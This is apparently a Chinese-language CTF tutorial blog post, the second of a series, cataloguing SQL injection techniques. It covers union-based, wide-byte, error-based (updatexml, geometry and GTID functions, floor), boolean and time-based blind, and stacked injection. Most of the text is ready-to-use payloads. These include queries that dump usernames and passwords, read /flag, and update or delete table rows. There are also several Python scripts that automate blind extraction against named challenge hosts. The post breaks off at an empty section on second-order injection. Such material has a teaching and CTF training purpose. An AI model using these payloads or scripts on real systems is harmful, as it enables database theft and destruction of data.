SQL注入——几种常见的注入方式(二)

因为知识琐碎,一些知识无法系统的罗列起来,所以对一些常见的注入方式进行了汇总、梳理,涵盖了大部分的前置知识,但是碎的知识只能整理成这样了,凑合看吧😂

根据注入方式来注入(1)

1. GET注入

1
注!:使用Get方式传参时,对于客户端,#会被当做命令执行而不是直接解析,同时空格也会被忽略掉,但对于服务端没有影响,因此尽量使用--+号,在使用get方法sql注入时

2. POST注入

1
在进行post注入时,可以使用#和--空格,而使用--+将无法解析为注释

3. cookie注入

1
当第一次访问网页是不会发送cookie,第二次访问却会,cookie更像你访问网站的历史记录,记录着你的各种信息(如喜好,账号密码...等)

找到注入点

例如sqli-labs的less20


4. http头注入

UA头注入(user-agent)

1
利用xpath_string函数报错从而获得信息;后面的or '1'='1是用来闭合user-agent后的单引号的

根据注入方式来注入(2)


联合查询

联合查询是一个常用的函数,在很多比赛里都会被ban掉,因此我们在这里简单了解下即可

相关语法知识

  • UNION可以将前后两个查询结果拼接到一起,并且自动去重
  • UNION ALL功能相同,但是会显示所有数据,不会去重

有类似功能的还有JION但他是对库表进行连接操作的语句,我们先在前面简单提及,后面的绕过中我们会详细讲解相关操作

注入流程

  1. 判断是否存在注入,注入是字符型还是数字型,闭合情况,绕过方式

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    ?id=1' 
    ?id=1"
    ?id=1')
    ?id=1")
    ?id=1' or 1#
    ?id=1' or 0#
    ?id=1' or 1=1#
    ?id=1' and 1=2#
    ?id=1' and sleep(5)#
    ?id=1' and 1=2 or '
    ?id=1\
  2. 猜测SQL查询语句中的字段数

    • 使用 order/group by 语句,通过往后边拼接数字指导页面报错,可确定字段数量。
1
2
3
4
5
6
1' order by 1#
1' order by 2#
1' order by 3#
1 order by 1
1 order by 2
1 order by 3
  • 使用 union select 联合查询,不断在 union select 后面加数字,直到不报错,即可确定字段数量。
1
2
3
4
5
6
1' union select 1#
1' union select 1,2#
1' union select 1,2,3#
1 union select 1#
1 union select 1,2#
1 union select 1,2,3#
  1. 确定显示数据的字段位置,使用 union select 1,2,3,4,… 根据回显的字段数,判断回显数据的字段位置。

    1
    2
    3
    4
    5
    6
    -1' union select 1#
    -1' union select 1,2#
    -1' union select 1,2,3#
    -1 union select 1#
    -1 union select 1,2#
    -1 union select 1,2,3#

注意:

  • 若确定页面有回显,但是页面中并没有我们定义的特殊标记数字出现,可能是页面进行的是单行数据输出,我们让前边的 select 查询条件返回结果为空即可。
  • ⼀定要拼接够足够的字段数,否则SQL语句报错。
  1. 在回显数据的字段位置使用 union select 将我们所需要的数据查询出来即可。包括但不限于:

    • 获取当前数据库名

      1
      -1' union select 1,2,database()--+
    • 获取当前数据库名

      1
      2
      3
      -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

      -1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
    • 获取表中的字段名

      1
      2
      3
      1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

      -1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
    • 获取数据

      1
      2
      3
      -1' union select 1,2,group_concat(id,0x7c,username,0x7c,password) from users--+

      -1' union select 1,(select group_concat(id,0x7c,username,0x7c,password) from users),3--+

      一般情况下就是这样的一个顺序:

      确定联合查询的字段数->确定联合查询回显位置->爆库->爆表->爆字段->爆数据

这里还使用了group_concat()函数来拼接多个查询,很多查询操作中都有这个函数,提高查询效率,并且可以拼接特殊字符来进行分割,同时使用了之前讲到的information_schema库来获取表、字段的信息,低版本并不存在这个库,同时很多题也会过滤这个库,我们之后也会讲到其他库是如何使用的


宽字节注入

出现条件:1.数据库使用的是GBK编码
2.PHP编码为UTF-8

原因:
1.现在大多数的网站对于SQL注入都做了一定的方法,例如使用一些Mysql中转义的函数addslashes,mysql_real_escape_string,mysql_escape_string等,还有一种是配置magic_quote_gpc,不过PHP高版本已经移除此功能。其实这些函数就是为了过滤用户输入的一些数据,对特殊的字符加上反斜杠\进行转义。
2.网站开启了magic_quote_gpc,或者使用了上面的转义函数数据库设置成gbk编码(不是html编码
3.在编码中,gbk编码占用2个字符,asc‖占用1个字符,攻击者恶意构造,把asc字符吃掉,就能进行下一步攻击


报错注入

相关语法知识

报错注入的思路就在,利用我们的特定的查询指令或者sql函数被执行,从而构造一些特定函数的报错进行内容回显,报错的过程可能会出现在查询或者插入甚至删除的过程中

注入流程

0x01 Updatexml(XML_document, XPath_string, new_value)
  • 第一个参数:XML_document是String格式,为XML文档对象的名称 文中为Doc

  • 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。这里给一张图来简单了解下Xpath

    1
    /html/body/div[1]

    复制下来是这样子的,就可以把HTML理解成Linux的文件结构,里面的标签你可与理解成一个一个的文件夹,他们之间具有父子关系。

  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

由于updatexml的第二个参数需要Xpath格式的字符串,如果不符合xml格式的语法,就可以实现报错注入了。

1
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

通过这样一段代码,就构成了我们的报错注入,因为第二个参数不符合标准同时也会执行我们的恶意语句(select user())因此在报错信息里,会把我们的用户信息给回带出来

0x02 extractvalue()

extractvalue()updatexml()函数类似,只不过他只有两个参数,用起来和updatexml()差不多

第二个参数和updatexml()一样xml,文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

1
and(extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))
0x03 exp(x)

返回 e 的 x 次方,当 数据过大 溢出时报错,即 x > 709

1
mail=') or exp(~(select * from (select (concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e))) as asd))--+
0x04 geometrycollection() mysql 版本5.5

(1)函数解释:
GeometryCollection是由1个或多个任意类几何对象构成的几何对象。GeometryCollection中的所有元素必须具有相同的空间参考系(即相同的坐标系)。

(2)官方文档中举例的用法如下:

1
GEOMETRYCOLLECTION(POINT(10 10), POINT(30 30), LINESTRING(15 15, 20 20))

(3)报错原因:
因为MYSQL无法使用这样的字符串画出图形,所以报错

1
2
3
1') and geometrycollection((select * from(select * from(select version())a)b)); %23
1') and geometrycollection((select * from(select * from(select column_name from information_schema.columns where table_name='manage' limit 0,1)a)b)); %23
1') and geometrycollection((select * from(select * from(select distinct concat(0x23,user,0x2a,password,0x23,name,0x23) FROM manage limit 0,1)a)b)); %23
0x05 multipoint() mysql 版本5.5

(1)函数解释:
MultiPoint是一种由Point元素构成的几何对象集合。这些点未以任何方式连接或排序。

(2)报错原因:
同样是因为无法使用字符串画出图形与geometrycollection类似

1
1') and multipoint((select * from(select * from(select version())a)b)); %23
0x06 polygon()

polygon来自希腊。 “Poly” 意味 “many” , “gon” 意味 “angle”.
Polygon是代表多边几何对象的平面Surface。它由单个外部边界以及0或多个内部边界定义,其中,每个内部边界定义为Polygon中的1个孔。

1
') or polygon((select * from(select * from(select (SELECT GROUP_CONCAT(user,':',password) from manage))asd)asd))--+
0x07 mutipolygon()
1
') or multipolygon((select * from(select * from(select (SELECT GROUP_CONCAT(user,':',password) from manage))asd)asd))
0x08 linestring()

报错原理:
mysql的有些几何函数( 例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring() )对参数要求为几何数据,若不满足要求则会报错,适用于5.1-5.5版本 (5.0.中存在但是不会报错)

1
1') and linestring((select * from(select * from(select database())a)b))--+;
0x09 multilinestring()

同上

0x0a ST.LatFromGeoHash()(mysql>=5.7.x)
1
') or ST_LatFromGeoHash((select * from(select * from(select (select (concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e))))a)b))--+
0x0b ST.LongFromGeoHash

同上 嵌套查询

0x0c ST_Pointfromgeohash (mysql>5.7)
1
2
3
4
5
#获取数据库版本信息
')or ST_PointFromGeoHash(version(),1)--+
')or ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)--+
')or ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+
')or ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+
0x0d GTID (MySQL >= 5.6.X - 显错<=200)
0x01 GTID

GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的

GTID的表现形式 -> GTID =source_id:transaction_id其中source_id一般为数据库的uuid,transaction_id为事务ID,从1开始3E11FA47-71CA-11E1-9E33-C80AA9429562:23如上面的GTID可以看出该事务为UUID为3E11FA47-71CA-11E1-9E33-C80AA9429562的数据库的23号事务

GTID集合(一组全局事务标识符):
GTID集合为多个单GTID和一个范围内GTID的集合,他主要用于如下地方

  • gtid_executed 系统变量
  • gtid_purged系统变量
  • GTID_SUBSET() 和 GTID_SUBTRACT()函数

格式如下:

1
3E11FA47-71CA-11E1-9E33-C80AA9429562:1-5
0X02 函数详解

GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错

  1. GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集)
  2. GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)
    正常情况如下

GTID_SUBSET(‘3E11FA47-71CA-11E1-9E33-C80AA9429562:23’,‘3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57’)GTID_SUBTRACT(‘3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57’,‘3E11FA47-71CA-11E1-9E33-C80AA9429562:20-25’)

0x03 注入过程( payload )

GTID_SUBSET函数

1
') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

GTID_SUBTRACT

1
') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

上面是一些常见或者不常见的能够报错注入的函数(其实有些还是很冷门的🤣),报错注入就是利用这些函数,在我们的查询语句中的这些函数内的某个位置再嵌套一个子查询,利用产生的报错将子查询的结果回显出来,每个报错注入的函数都搭配了网上找到的简单的payload,情况总是在变化,注意一下函数中子查询所在的位置即可。

使用不存在的函数来报错

随便使用一个不存在的函数,可能会得到当前所在的数据库名称。

使用 join using() 报错获取列名
  • 一般应用于无列名注入,下文绕过中会细讲。

通过关键字join可建立两个表之间的内连接。通过对想要查询列名所在的表与其自身内连接,会由于冗余的原因(相同列名存在),而发生错误。并且报错信息会存在重复的列名,可以使用 USING 表达式声明内连接(INNER JOIN)条件来避免报错。

下面演示如何通过join…using来获取列名:

1
2
3
4
5
6
7
8
# 获取第一列的列名:
1' union select * from (select * from users as a join users as b)as c#

# 使用using()依次获取后续的列名
1' union all select * from (select * from users as a join users b using(id))c#
1' union all select * from (select * from users as a join users b using(id,username))c#
1' union all select * from (select * from users as a join users b using(id,username,password))c#
# 数据库中as主要作用是起别名, 常规来说as都可以省略,但是为了增加可读性, 不建议省略
0x11 floor报错注入

floor()报错注入的原因group by在向临时表插入数据时,由于 **rand()**多次计算导致插入临时表时主键重复,从而报错,又因为报错前 **concat()**中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或数执行后的结果。

1
select count(*),floor(rand(0)*2) from users group by floor(rand(0)*2)

当我们输入该sql语句的时候会提示1这个主键重复,这是为什么呢?在讲解之前我们首先要了解一个特性,就是rand()函数的一个特性(**floor(rand(0)*2)第五次执行rand(0)时算出了1,导致插入时主键重复异常**)

这个特性就是 rand()函数的执行速度要比 group by查询并插入key值的速度更快

因此,我们就可以在里面夹带我们想要的信息

1
select count(*),concat(database(),floor(rand(0)*2)) from users group by concat(database(),floor(rand(0)*2))

简化

1
select count(*),(concat(database(),floor(rand(0)*2)))x from users group by x;

大体的注入流程就是在联合查询不成功的情况下尝试使用报错注入的函数得到回显子查询结果的报错结果。


布尔盲注

SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取sql语句的执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注,。

对于基于布尔的盲注,可通过构造真or假判断条件(数据库各项信息取值的大小比较, 如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码…), 将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果 (True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<–>False发生变化的转折点。

用到的SQL语法知识

会用到截取字符的函数:substr()

可以直接判断字符或者根据ASCII码来判断,利用ASCII码时要用到ASCII()函数来将字符转换为ASCII码值。

还用到了各种运算符,<>=当然不必多提,但是在下面POST的方式中用到了异或符号^,这里其实是一种异或注入的方法,当我们在尝试SQL注入时,发现union,and等一些列的字符被完全过滤掉了,就可以考虑使用异或注入。而异或运算,不仅在sql注入中有用,很多地方如过滤了所有函数等比如命令执行的题,就可以进行异或进行构造,但是运算方式不止一种,我们要根据实际情况去选择,学会变通,才是学习的核心思想

异或运算规则:
1^1=0 0^0=0 0^1=1
1^1^1=0 1^1^0=0
构造payload:'^ascii(mid(database(),1,1)=98)^0

注意这里会多加一个^0或1是因为在盲注的时候可能出现了语法错误也无法判断,而改变这里的0或1,如果返回的结果是不同的,那就可以证明语法是没有问题的.

注入流程

首先通过页面对于永真条件or 1=1(true) 与永假条件 and 1=2 (false)的返回内容是否存在差异进行判断是否可以进行布尔盲注。

下面给出常用的布尔盲注脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
url = 'http://81689af7-4cd5-432c-a88e-f5113e16c7c1.node3.buuoj.cn/index.php'
flag = ''
for i in range(1,250):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
#payload = 'http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php?id=1^(ascii(substr(database(),%d,1))=%d)#' %(i,mid)
payload = "0^(ascii(substr((select(flag)from(flag)),%d,1))>%d)#" %(i,mid)
datas = {
"id":payload
}
res = requests.post(url=url,data=datas)

if 'girlfriend' in res.text: # 为真时,即判断正确的时候的条件
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)

这里的优化算法用的是一个简单的二分查找,目的是跑出该网站的flag(字段)对于盲注,最好的办法就是多写脚本,脚本的作用无非就是为我们执行大量的,重复的操作,因此我们要对脚本的编写要有逻辑性,多写个几遍,就好掌握了!

利用异或的:
1
2
3
4
?id=0'^1--+
?id=0'^0--+
?id=0'^(ascii(substr(database(),1,1))>1)--+
?id=0'^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),{0},1))={1})--+
利用order by的
  • 该方法只适用于表里就一行数据的时候。

如果注入的时候没有报错,我们又不知道列名,就只能用 order by 盲注了。当然,在 过滤了括号 的时候,order by 盲注也是个很好的办法。

order by 的主要作用就是让查询出来的数据根据第n列进行排序(默认升序),我们可以使用order by排序比较字符的 ascii 码大小,从第⼀位开始比较,第⼀位相同时比较下⼀位。

利用方式参见如下测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
mysql> select * from admin where username='' or 1 union select 1,2,'5' order by 3;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | 2 | 5 |
| 1 | admin | 51b7a76d51e70b419f60d3473fb6f900 |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)

mysql> select * from admin where username='' or 1 union select 1,2,'6' order by 3;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | 51b7a76d51e70b419f60d3473fb6f900 |
| 1 | 2 | 6 |
+----+----------+----------------------------------+
2 rows in set (0.01 sec)

mysql> select * from admin where username='' or 1 union select 1,2,'51' order by 3;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | 2 | 51 |
| 1 | admin | 51b7a76d51e70b419f60d3473fb6f900 |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)

mysql> select * from admin where username='' or 1 union select 1,2,'52' order by 3;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | 51b7a76d51e70b419f60d3473fb6f900 |
| 1 | 2 | 52 |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)

通过逐位判断便可得到password

参考脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
# 定义一个flag取值的一个“范围”
dic = "1234567890qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM_!@#$%^&*"
# 之所以不定义为空,而是“^”,是为了从头开始匹配
flag = "^"
# 目标url,先传“|1”,获取其数据的排列内容,作为一个对比的基准
url1 = "https://chall.tasteless.eu/level1/index.php?dir=|1"
content1 = requests.get(url1).content
# 这个flag的长度被定义为了50个字符长度
for i in range(50):
# 从定义的dic中挨个取1字符,拼凑payload
for letter in dic:
payload = flag + letter
#该url最后的“}2b1”-->"}+1"
url2 = "https://chall.tasteless.eu/level1/index.php?dir=|{select (select flag from level1_flag) regexp "+"'"+ payload +"'"+"}%2b1"
print(url)
# 获取实际注入后的排列内容
content2 = requests.get(url2).content
# 如果不相等,即为flag内容(为什么是不相等,而不是相等,因为在url2的最后又“+1”,即匹配成功则是“?dir=|2”,匹配不成功则是“?dir=|1”)
if(content1 != content2):
flag = payload
print(flag)
break

时间盲注

有的盲注既不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断,其实也是从另一个我们能控制的角度来判断了布尔值。

对于基于时间的盲注,通过构造真or假判断条件的sql语句, 且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求, 观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。

首先使用以下payload,根据页面的响应是否有延迟来判断是否存在注入:

1
2
1' and sleep(5)#
1 and sleep(5)
时间盲注用到的SQL语法知识

一般的时间盲注主要就是使用sleep()函数进行时间的延迟,然后通过if判断是否执行sleep()

1
admin' and if(ascii(substr((select database()),1,1))>1,sleep(3),0)#

trim配合比较。

1
trim([both/leading/trailing] 目标字符串 FROM 源字符串)

从源字符串中去除首尾/首/尾的目标字符串,如寻找字符串第一位,假定X代表某字符,trim(leading X from 'abcd') = trim(leading X+1 from 'abcd')不相等,说明正确结果是X或X+1再进行trim(leading X+1 from 'abcd') = trim(leading X+2 from 'abcd') 相等则正确为X,不相等则X+1正确

trim(leading X from 'abcd') = trim(leading X+1 from 'abcd')相等说明X与X+1都为字符串的首字符,不存在这种情况,所以需要继续比较X+1与X+2直至相等

注入流程

时间盲注我们也是利用脚本完成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import time
url = 'http://39d4639d-df36-43ca-8bac-fec55f4a66f3.challenge.ctf.show/api/index.php'
result = ''
for i in range(1,60):
min=32
max=128
while True:
mid = (min+max)//2
if(max == min):
result+=chr(mid)
print(result)
break
# data={
# 'ip':f"1 or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},sleep(0.5),'False')#",
# 'debug':0
# }爆库名
# data={
# 'ip':f"1 or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{i},1))>{mid},sleep(0.5),'False')#",
# 'debug':0
# }
data={
'ip':f"1 or if(ascii(substr((select group_concat(flaga) from ctfshow_flagx),{i},1))>{mid},sleep(0.5),'False')#",
'debug':0
}

start_time=time.time()
r = requests.post(url, data=data).text
end_time=time.time()
full_time=end_time - start_time

if(full_time >=0.5):
min=mid+1
else:
max=mid

这里也是用二分查找,来减少时间盲注所耗费的时间(一般来说很耗时)也可以加个线程池

以上两种脚本都是非常常见的,两种注入方式,但是实践的比赛中,可能会过滤掉找不到相应的办法,这时候就不能之拘禁于这两种方法,固定化的思路对于渗透来说是不可行的

当sleep被过滤时,可以使用

benchmark()函数

在MySQL中,BENCHMARK() 函数是一种用于执行基准测试的内置函数。它的主要作用是帮助测试某个表达式在数据库中执行的速度,通过重复多次执行同一个表达式,来测量数据库的性能表现。

BENCHMARK() 函数的语法
1
2
3
BENCHMARK(loop_count, expression)
loop_count: 表示要重复执行的次数,即表达式将被执行多少次。
expression: 表示要进行基准测试的表达式。

benchmark(3000000, sha(1)) 用于延时,执行 3000000 次 sha(1),大概会耗费几百毫秒到几秒的时间(具体时间依赖于服务器的计算性能)。

代码通过比较 sub(实际执行时间)与设定的 0.5 秒阈值,判断是否触发了 benchmark 延时,从而推测数据库中字符的 ASCII 值。

因此

1
2
3
4
5
data = {
'ip': f"1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},benchmark(3000000,sha(1)),'False')#",
'debug': 0
}
//用benchmark(3000000,sha(1))替换sleep(0.5)
rlike函数构造大量字符串延时
  1. rpad(1, 999999, 'a'):
  • rpad() 是一个 SQL 字符串函数,用来在字符串右侧填充指定字符,直到达到目标长度。
  • 这里,rpad(1, 999999, 'a') 的作用是从数字 1 开始,用字符 'a' 右填充,生成一个长度为 999999 的字符串,也就是一个非常长的 'a' 字符串。
  • 由于一共调用了 16 次 rpad(),每次生成 999999 个 'a',因此最后通过 concat() 拼接形成了一个包含 16 * 999999 = 15,999,984 个 'a' 的字符串。
  1. concat():
  • concat() 是一个字符串拼接函数。它将 16 个 rpad(1, 999999, 'a') 生成的超长字符串拼接成一个更长的字符串,总长度接近 16,000,000 个字符。
  1. RLIKE '(a.\*)+(a.\*)+(a.\*)+(a.\*)+(a.\*)+(a.\*)+(a.\*)+b':

RLIKE 是正则表达式匹配运算符,用来判断一个字符串是否匹配指定的正则表达式。

1
'(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'

是要匹配的正则表达式:

  • (a.\*)+: 这个部分表示匹配多个 a 字符以及后续的任何字符(.* 表示匹配任意数量的字符)。
  • b: 最后要匹配一个 b 字符。
1
payload:(concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike '(a.*)+(a.*)+b')

这样就可以生成大量的字符,如果为true则不会执行,如果为true,则会执行该payload,造成服务器无法及时处理大量字符,从而达到和sleep相同的效果

笛卡尔积延时注入

在 SQL 注入中,笛卡尔积(也称为笛卡尔乘积)是数据库操作中的一种查询结果形式。它指的是两个或多个表之间不通过任何条件进行关联时产生的结果集合。笛卡尔积会返回每一个表中的每一行的组合,即如果表 A 有 5 行,表 B 有 4 行,那么笛卡尔积的结果会有 5 * 4 = 20 行。

笛卡尔积并不是 SQL 注入的核心概念,但它有时可以被滥用,导致不期望的大量数据返回,或者在某些特定的攻击场景下被利用。

例如,当攻击者通过 SQL 注入操纵查询时,如果他们删除了 JOINWHERE 条件,可能导致返回的结果集成为两个或多个表的笛卡尔积。这通常会显著增加查询的结果集,可能引发性能问题或导致过量的数据暴露。

假设有两个表:UsersOrders

Users 表:

1
2
3
4
5
6
7
+----+----------+
| ID | Name |
+----+----------+
| 1 | Alice |
| 2 | Bob |
| 3 | Charlie |
+----+----------+

Orders 表:

1
2
3
4
5
6
7
8
+----+------------+
| ID | OrderName |
+----+------------+
| 1 | Order1 |
| 2 | Order2 |
| 3 | Order3 |
| 4 | Order4 |
+----+------------+

如果你进行下面的查询,没有任何关联条件

1
SELECT * FROM Users, Orders;

查询结果将是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
+----+----------+----+------------+
| ID | Name | ID | OrderName |
+----+----------+----+------------+
| 1 | Alice | 1 | Order1 |
| 1 | Alice | 2 | Order2 |
| 1 | Alice | 3 | Order3 |
| 1 | Alice | 4 | Order4 |
| 2 | Bob | 1 | Order1 |
| 2 | Bob | 2 | Order2 |
| 2 | Bob | 3 | Order3 |
| 2 | Bob | 4 | Order4 |
| 3 | Charlie | 1 | Order1 |
| 3 | Charlie | 2 | Order2 |
| 3 | Charlie | 3 | Order3 |
| 3 | Charlie | 4 | Order4 |
+----+----------+----+------------+

这一就造成了返回了大量数据,造成时间延时

count(*) 后面所有表中的列笛卡尔积数数量越多越卡,就会有延迟,类似之前某比赛pgsql的延时注入也可以利用此来 打时间差,从而达到延时注入的效果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
+-----------+
| count(*) |
+-----------+
| 113101560 |
+-----------+
1 row in set (2.07 sec)

mysql> select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C);
+------+-----+
| user | pwd |
+------+-----+
| 1 | 0 |
+------+-----+
1 row in set (2.08 sec)

得到的结果都会有延迟。这里选用information_schema.columns表的原因是其内部数据较多,到时候可以根据实际情况调换。

那么我们就可以使用这个原理,并配合if()语句进行延时注入了,payload 与之前相似,类似如下:

1
2
3
4
admin' and if(ascii(substr((select database()),1,1))>1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0)#

[OUTPUT:]
HTTP/1.1 504 Gateway Time-out # 有很长的延时, 以至于Time-out了

给出一个笛卡尔积延时注入脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
url = 'http://4.c56083ac-9da0-437e-9b51-5db047b150aa.jvav.vnctf2021.node4.buuoj.cn:82/user/login'
flag = ''
for i in range(1,250):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
payload = "' or if((select ascii(substr((select password from user where username='admin'),%d,1)))>%d,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),1)#" % (i, mid)
datas = {
"username":"admin",
"password": payload
}
res = requests.post(url=url,data=datas,timeout=None) # 不限制超时

if '504 Gateway Time-out' in res.text: # 为真时,即判断正确的时候的条件
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)

MySQL时间盲注的五种延时方法实现这里给个链接,想简单了解的可以去看看


堆叠注入

在SQL中,分号; 是用来表示一条sql语句的结束。试想一下,我们在结束一个sql语句后继续构造下一条语句,会不会一起执行? 因此这个想法也就造就了堆叠注入。

而联合注入也是将两条语句合并在一起,两者之间有什么区别么?

区别就在于 union 或者union all执行的语句类型是有限制的,可以用来执行的是查询语句,而堆叠注入可以执行的是任意的语句。 例如以下这个例子。用户输入:1; DELETE FROM products; 服务器端生成的sql语句为:select * from products where id=1;DELETE FROM products; 当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

但是,这种堆叠注入也是有局限性的。堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在有的Web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生的错误或者执行结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,建议配合使用 union 联合注入。

一般存在堆叠注入的都是由于使用 mysqli_multi_query() 函数执行的sql语句,该函数可以执行一个或多个针对数据库的查询,多个查询用分号进行分隔。

堆叠注入用到的SQL语法知识

单纯看堆叠注入的话好像还真没什么了

注入流程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
读取数据
/?id=1';show databases;--+
/?id=1';show tables;--+
/?id=1';show tables from database_name;--+
/?id=1';show columns from table_name;--+

读取文件
/?id=1';select load_file('/flag');--+

修改数据表的结构
/?id=1';insert into users(id,username,password)values(20,'whoami','657260');--+ # 插入数据
/?id=1';update users set password='657260' where id>0;--+ # 更改数据
/?id=1';delete from users where id=20;--+ # 删除数据
/?id=1';create table fake_users like users;--+ # 创建一个新表
?id=1';rename table old_table to new_table;--+ # 更改表名
?id=1';alter table users change old_column new_column varchar(100);--+ # 更改字段

下面是MySQL堆叠注入的几种常见姿势。

rename 修改表名
1
2
3
4
1';rename table words to words1;rename table flag_here to words;#

# rename命令用于修改表名。
# rename命令格式:rename table 原表名 to 新表名;
rename/alter 修改表名与字段名
1
2
3
4
1';rename table words to words1;rename table flag_here to words;alter table words change flag id varchar(100);#

rename命令用于修改表名。
rename命令格式:rename table 原表名 to 新表名;
利用 HANDLER 语句

如果rename、alter、select被过滤了,我们可以借助HANDLER语句来bypass。在不更改表名的情况下读取另一个表中的数据。

打开表: 使用 handler open; 打开指定表。

读取数据: 使用 handler read ; 读取指定行的数据。

关闭表: 使用 handler close; 关闭表

1
2
3
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#

1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;#

二次注入

二次注入的成因:给大家放几张图

image-20241022220643492

二次注入用到的SQL语法知识

